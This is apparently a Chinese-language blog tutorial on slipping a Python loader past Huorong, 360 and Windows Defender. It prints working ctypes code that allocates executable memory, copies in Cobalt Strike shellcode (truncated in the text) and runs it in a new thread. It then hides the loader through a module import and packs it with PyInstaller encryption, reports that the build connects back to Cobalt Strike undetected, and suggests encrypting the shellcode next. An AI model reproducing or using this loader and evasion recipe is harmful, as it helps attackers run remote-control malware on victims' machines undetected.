python免杀bypass x绒 x60 defender

前言

最近学习免杀技术,偶然尝试居然bypass 国内常用杀软,很简单,但却非常使用,效果好到惊呆

准备

生成payload

cs生成一个python的pyload

构造加载器

加载器都一样,大同小异,网上很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# shellcode loader
# 返回新字节数组
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

免杀开始

将生成的pyload中的shellcode取出来放进加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ctypes

def main():
shellcode = b"\xfc\x48\x83\xe4\xf0..."
# shellcode loader代码
# 返回新字节数组
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

可以看到并没有对加载器进行任何处理,这样打包出来毫无疑问是会被杀的

import混淆加密打包bypass

现在我们把加载器写成一个函数,再通过一个py文件去调用加载器

1
2
import shellcodloader
shellcodloader.main()

最终目录如下:

然后使用pyinstaller开始打包 –key 对二进制文件进行加密,防止反编译

1
pyinstaller -F main.py --key test

x绒

可以看到我们没有对加载器做任何免杀操作,但是依旧免杀,简单实用.测试时间2022.12.4

x60 核晶开启

defender

cs执行命令

以上都可以正常上线cs并执行命令

项目地址

https://github.com/chencicici/python_bypass

思考

并没有上传微步和vt,因为已经够用了.以上仅仅使用import混淆导包和pyinstaller加密生成exe,还没有对shellcode和加载器进行加密混淆,已经免杀国内常用杀软.后续对shellcode进行加密或者分离加载,效果只会更好